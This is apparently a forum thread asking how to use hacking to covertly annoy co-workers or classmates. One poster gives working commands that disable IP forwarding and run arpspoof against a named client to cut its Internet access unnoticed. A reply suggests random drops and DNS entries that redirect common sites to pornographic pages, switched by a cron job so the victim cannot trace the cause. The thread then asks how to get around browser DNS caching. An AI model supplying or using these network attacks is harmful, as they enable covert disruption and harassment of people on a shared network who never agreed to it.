How to use hacking knowledge to annoy your co-workers or classmates without being noticed

[xsTao]

On the same network, I can use kali to enter the following two commands to prevent client 192.168.8.2 from accessing the Internet. And it won't attract their attention. Are there any other ways to cause trouble?

I will deceive the target 192.168.8.2 and say: I am a router, and I will forward your request for you. Then I set /proc/sys/net/ipv4/ip_forward to "0", which means discarding its request.
echo 0 > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t 192.168.8.2 -r 192.168.8.1

 

[Gwuzciq]

You must introduce more randomness. Dropping connection right of the bat asks for an immediate investigation and solution. Traffic that drops at random intervals is harder to make sense of. You can create DNS entries that forward common sites to porn websites and a cronjob that randomizes it every 10 seconds. Meaning google.com works fine, then not, then fine again... etc.

 

[xsTao]

You must introduce more randomness. Dropping connection right of the bat asks for an immediate investigation and solution. Traffic that drops at random intervals is harder to make sense of. You can create DNS entries that forward common sites to porn websites and a cronjob that randomizes it every 10 seconds. Meaning google.com works fine, then not, then fine again... etc.

If the victim has visited google.com, the browser will record Google's IP address and no DNS translation will be performed. Do you know what to do with this?